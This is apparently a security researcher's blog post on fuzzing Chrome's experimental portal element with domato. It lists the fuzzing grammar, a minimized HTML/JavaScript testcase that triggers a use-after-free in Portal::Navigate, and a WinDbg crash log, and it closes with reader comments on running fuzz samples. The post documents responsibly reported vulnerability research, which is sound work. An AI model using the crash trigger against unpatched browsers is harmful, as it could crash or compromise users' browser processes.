Google Chrome portal element fuzzing

Background

Some time ago, while browsing my Twitter feed I stumbled upon an interesting tweet from MichaƂ Bentkowski [https://twitter.com/SecurityMB/status/1127963181089992705]. The description of the new portal element certainly grabbed my attention as something that may have an impact on security. You can learn more about the portal element from here [https://web.dev/hands-on-portals] and here [https://wicg.github.io/portals/]. At the moment of writing this article the portal element is still behind a flag (#enable-portals), however it is available in the Google Chrome stable version.

I decided to take a look as well, as it seemed to be a pretty interesting target. During the initial poking around I quickly managed to identify the local file disclosure issue, but of course it was already reported & fixed [https://bugs.chromium.org/p/chromium/issues/detail?id=962500]. However during that initial research I was getting a lot of random crashes so I thought it would be a good idea to add portal test cases to one of my fuzzing setups. 

Setup

I knew I had to act fast as the time was running out, and probably more and more people are starting to look at this, or will do it soon, not to even mention fuzzers running at Google itself. I decided to go with an easy and quick solution, and just added portal related grammar to domato fuzzer [https://github.com/googleprojectzero/domato].

In generator.py I have added the HTMLPortalElement in _HTML_TYPES map:
'portal': 'HTMLPortalElement'

The following grammar was added to the domato fuzzer:

common.txt:
<tagname> = portal

html.txt:
<element> = <HTMLPortalElement>
<HTMLPortalElement> = <lt>portal <portal_attributes> <attributes><gt><htmlsafestring min=32 max=126><lt>/portal<gt>
<attribute_eventhandler> = <attribute_onportalactivate>
<attribute_onportalactivate> = onportalactivate="<eventhandler>"

js.txt:
#HTMLPortalElement
!extends HTMLPortalElement Element
<new Element> = <HTMLPortalElement>;
<new DOMString> = <HTMLPortalElement>.src;
<HTMLPortalElement>.src = "<framesrc>";
<new DOMString> = <HTMLPortalElement>.name;
<HTMLPortalElement>.name = "<name_value>";
<HTMLPortalElement>.activate();
<HTMLPortalElement>.postMessage(<any>,<DOMString>);
<HTMLPortalElement>.postMessage(<any>,"<framesrc>");
<new EventHandler> = <GlobalEventHandlers>.onportalactivate;
<GlobalEventHandlers>.onportalactivate = <EventHandler>;
<Element>.setAttribute("onportalactivate", "<eventhandlerstr>");

jshelpers.txt:
<new HTMLPortalElement> = document.createElement("portal");

tagattributes.txt:
<portal_attribute> = <attribute_onerror>
<portal_attribute> = <attribute_height>
<portal_attribute> = <attribute_border>
<portal_attribute> = <attribute_onload>
<portal_attribute> = <attribute_style>
<portal_attribute> = <attribute_width>
<portal_attribute> = <attribute_onmouseout>
<portal_attribute> = <attribute_marginwidth>
<portal_attribute> = <attribute_noresize>
<portal_attribute> = <attribute_marginheight>
<portal_attribute> = <attribute_scrolling>
<portal_attribute> = <attribute_class>
<portal_attribute> = <attribute_framesrc>
<portal_attribute> = <attribute_onunload>
<portal_attribute> = <attribute_hidden>
<portal_attribute> = <attribute_name>
<portal_attribute> = <attribute_align>
<portal_attribute> = <attribute_onmouseover>
<portal_attribute> = <attribute_allowfullscreen>
<portal_attribute> = <attribute_longdesc>
<portal_attribute> = <attribute_tabindex>
<portal_attribute> = <attribute_onportalactivate>
<portal_attributes> = <portal_attribute> <portal_attribute> <portal_attribute> <portal_attribute> <portal_attribute>

Results

Within an hour I had multiple different crashes, most of them were null pointer dereferences, however two of them looked interesting. I didn’t have time to look into them and perform analysis so right after minimizing test cases I reported them to Google. It is also worth mentioning that in these cases the main browser process was affected.

#1 Heap Buffer Overflow in chrome!content::XXX::XXX

The first interesting crash I found was reported on 29th May 2019. It was marked as a duplicate. As for today the issue is still restricted [https://bugs.chromium.org/p/chromium/issues/detail?id=967889], and the bug is currently not fixed in the latest canary build so I won’t publish any details. 
This was tested on the following versions: 76.0.3804.0 canary 64-bit and 76.0.3800.2 dev 64-bit. As of writing this article it is reproducible on 79.0.3941.0.

#2 Heap Use-After-Free in chrome!content::Portal::Navigate & Activate

The first Use-After-Free in Portal::Navigate [https://bugs.chromium.org/p/chromium/issues/detail?id=968142] was reported also on the 29th May 2019. Few days later I also found and reported a similar looking UAF in Portal::Activate [https://bugs.chromium.org/p/chromium/issues/detail?id=971702]. It actually turned out to be the same underlying issue, so the cases were merged. Here is a minimized code snippet from the first one, as the test case from the second report was quite problematic during the minimization process and is still quite large.

Minimized testcase:

<html>
<script>
var url = 'https://example.com';
var portal = document.createElement('portal');
function f() {
portal.src = url;
portal.style = 'height:100%; width:100%';
document.body.appendChild(portal);
portal.src="x";
setTimeout('location.reload(true);',500);
}
</script>
<body onload='f();'>
</body>
</html>

This was tested on 76.0.3804.0 canary 64-bit and 76.0.3800.2 dev 64-bit and 76.0.3806.1 dev.

Windbg log:

(131cc.14d34): Access violation - code c0000005 (!!! second chance !!!)
chrome!content::Portal::Navigate+0x45:
00007ffd`c7dba8bf 488b01          mov rax,qword ptr [rcx] ds:000001d5`37b406f0=????????????????
0:000> r
rax=00000036653fe008 rbx=00000036653fe008 rcx=000001d537b406f0
rdx=0000000000000000 rsi=000001d56dbbef40 rdi=00000036653fe4a8
rip=00007ffdc7dba8bf rsp=00000036653fdfe0 rbp=0000000000000015
 r8=0000000000000018  r9=0000000000000020 r10=000001d56d8cafd0
r11=000001d5711b4fe0 r12=000001d5229cdee0 r13=0000000000000000
r14=000001d56dbbef40 r15=00000036653fe4a8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b ds=002b  es=002b fs=0053 gs=002b             efl=00010200
chrome!content::Portal::Navigate+0x45:
00007ffd`c7dba8bf 488b01          mov rax,qword ptr [rcx] ds:000001d5`37b406f0=????????????????
0:000> u
chrome!content::Portal::Navigate+0x45 [C:\b\c\b\win64_clang\src\content\browser\portal\portal.cc @ 176]:
00007ffd`c7dba8bf 488b01          mov rax,qword ptr [rcx]
00007ffd`c7dba8c2 ff5020          call    qword ptr [rax+20h]
00007ffd`c7dba8c5 488b38          mov rdi,qword ptr [rax]
00007ffd`c7dba8c8 4889c1          mov rcx,rax
00007ffd`c7dba8cb 4889da          mov rdx,rbx
00007ffd`c7dba8ce ff9798000000    call qword ptr [rdi+98h]
00007ffd`c7dba8d4 4889d9          mov rcx,rbx
00007ffd`c7dba8d7 e8ac1b67ff      call chrome!content::NavigationController::LoadURLParams::~LoadURLParams (00007ffd`c742c488)
0:000> kvb
 # Child-SP          RetAddr : Args to Child                                                           : Call Site
00 00000036`653fdfe0 00007ffd`c7993f6b : 000001d5`229f7fd0 00007ffd`c82f4588 000001d5`229eff80 00007ffd`c71b02c6 : chrome!content::Portal::Navigate+0x45 [C:\b\c\b\win64_clang\src\content\browser\portal\portal.cc @ 176] 
01 00000036`653fe330 00007ffd`c8a23e0a : 00000000`00000000 00000000`00000000 00000000`00000000 00007ffd`c71d50c7 : chrome!blink::mojom::PortalStubDispatch::Accept+0xd7 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\public\mojom\portal\portal.mojom.cc @ 365] 
02 00000036`653fe630 00007ffd`c8a23e81 : 00000000`00000000 00000000`00000000 00000000`00000000 00000100`00001402 : chrome!IPC::`anonymous namespace'::ChannelAssociatedGroupController::AcceptOnProxyThread+0x84 [C:\b\c\b\win64_clang\src\ipc\ipc_mojo_bootstrap.cc @ 918] 
03 00000036`653fe690 00007ffd`c71b3502 : 000001d5`229cb170 000001d5`229cdee0 00000000`00000000 00000000`00000000 : chrome!base::internal::Invoker<base::internal::BindState<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message),scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>,mojo::Message>,void ()>::RunOnce+0x41 [C:\b\c\b\win64_clang\src\base\bind_internal.h @ 641] 
04 00000036`653fe750 00007ffd`c71b070a : 00007ffd`fe1a6ae0 00000000`00000000 00000000`00000000 00007ffd`fe1a63ec : chrome!base::TaskAnnotator::RunTask+0x122 [C:\b\c\b\win64_clang\src\base\task\common\task_annotator.cc @ 143] 
05 00000036`653fe850 00007ffd`c71b0471 : 00000781`02de8191 00000000`0000032d 00000000`00003dff 00007ffd`fe1aa059 : chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x17a [C:\b\c\b\win64_clang\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 369] 
06 00000036`653fea10 00007ffd`c7227654 : 00007ffd`fe1a9f10 00000000`00000000 000001d5`22a87f80 00007ffd`ca06327b : chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoSomeWork+0x61 [C:\b\c\b\win64_clang\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 221] 
07 00000036`653feaa0 00007ffd`c71b8dde : 00000000`00000008 00007ffd`ca9bb9d0 00000000`00000008 00000036`653fec60 : chrome!base::MessagePumpForUI::DoRunLoop+0xc4 [C:\b\c\b\win64_clang\src\base\message_loop\message_pump_win.cc @ 218] 
08 00000036`653feb60 00007ffd`c71b02c6 : 00000036`653fee40 00007ffd`c71750a9 00000000`00000000 00007ffd`c7179f54 : chrome!base::MessagePumpWin::Run+0x4e [C:\b\c\b\win64_clang\src\base\message_loop\message_pump_win.cc @ 76] 
09 00000036`653febb0 00007ffd`c71afc6e : 0000e5ca`84b239d5 00000036`653fec68 00007ffd`caa33de0 00007ffd`caa33dc8 : chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0x86 [C:\b\c\b\win64_clang\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 466] 
0a 00000036`653fec00 00007ffd`c745e65b : 000001d5`2b848fd0 00000000`00000000 00000000`00000595 000001d5`58fb4fd0 : chrome!base::RunLoop::RunWithTimeout+0x1ae [C:\b\c\b\win64_clang\src\base\run_loop.cc @ 167] 
0:000> lmvm chrome
Browse full module list
start             end   module name
00007ffd`c7170000 00007ffd`cadd4000   chrome (private pdb symbols) C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\sym\chrome.dll.pdb\AE2D5ECF90EF44374C4C44205044422E1\chrome.dll.pdb
    Loaded symbol image file: C:\Users\Pawel\AppData\Local\Google\Chrome SxS\Application\76.0.3806.0\chrome.dll
    Image path: C:\Users\Pawel\AppData\Local\Google\Chrome SxS\Application\76.0.3806.0\chrome.dll
    Image name: chrome.dll
    Browse all global symbols  functions data
    Timestamp:        Tue May 28 07:00:00 2019 (5CECC050)
    CheckSum:         03B68A96
    ImageSize:        03C64000
    File version:     76.0.3806.0
    Product version:  76.0.3806.0
    File flags:       0 (Mask 17)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    Information from resource tables:
        CompanyName:      Google LLC
        ProductName:      Google Chrome
        InternalName:     chrome_dll
        OriginalFilename: chrome.dll
        ProductVersion:   76.0.3806.0
        FileVersion:      76.0.3806.0
        FileDescription:  Google Chrome
        LegalCopyright:   Copyright 2019 Google LLC. All rights reserved.

For this bug Google awarded a bounty of $8000 – quite nice.

Summary

In this short blog post I just wanted to demonstrate that it is still possible to find interesting vulnerabilities in popular and well researched software using simple fuzzing methods if you choose your target scope well. It can be done as a side project, without large number of cores and investing a lot of hours. However timing has to be right, the window of opportunity in such situations is usually short. In this case the targeted code base was in early stages of development and apparently was not yet undergoing internal/external fuzzing.

5 comments:

Anonymous said...

Really nice writeup about "under the hood" of dom fuzzing. I didn't know about domato fuzzer.

Thanks!
viralpoetry

Unknown said...

hello,I want to know how to automatically exec samples that produced by domato?

Pawel Wylecial said...

Hi, I assume you mean execution and catching crashes. For example you can use BugId https://github.com/SkyLined/BugId. SkyLined wrote a blog post that may help you get started https://blog.skylined.nl/20181017001.html

Unknown said...

thanks very much! I will try it.

Unknown said...

After I compile the chromium by myself, I use the fuzz.cmd (from https://blog.skylined.nl/20181017001.html),And I got the BugID output“
AVW:Reserved[0xDB5FC41C000]@0 24c.e17 @ chrome.exe!chrome_elf.dll!strcmp”,and the chrmium log output "[7492:4772:0824/080347.285:ERROR:device_event_log_impl.cc(208)] [08:03:47.282] Bluetooth: bluetooth_adapter_winrt.cc:1076 Getting Default Adapter failed."
can you tell me the reason and how to use the fuzz.cmd to fuzz the chromium that compiled by myself? thanks

Subscribe Posts Comments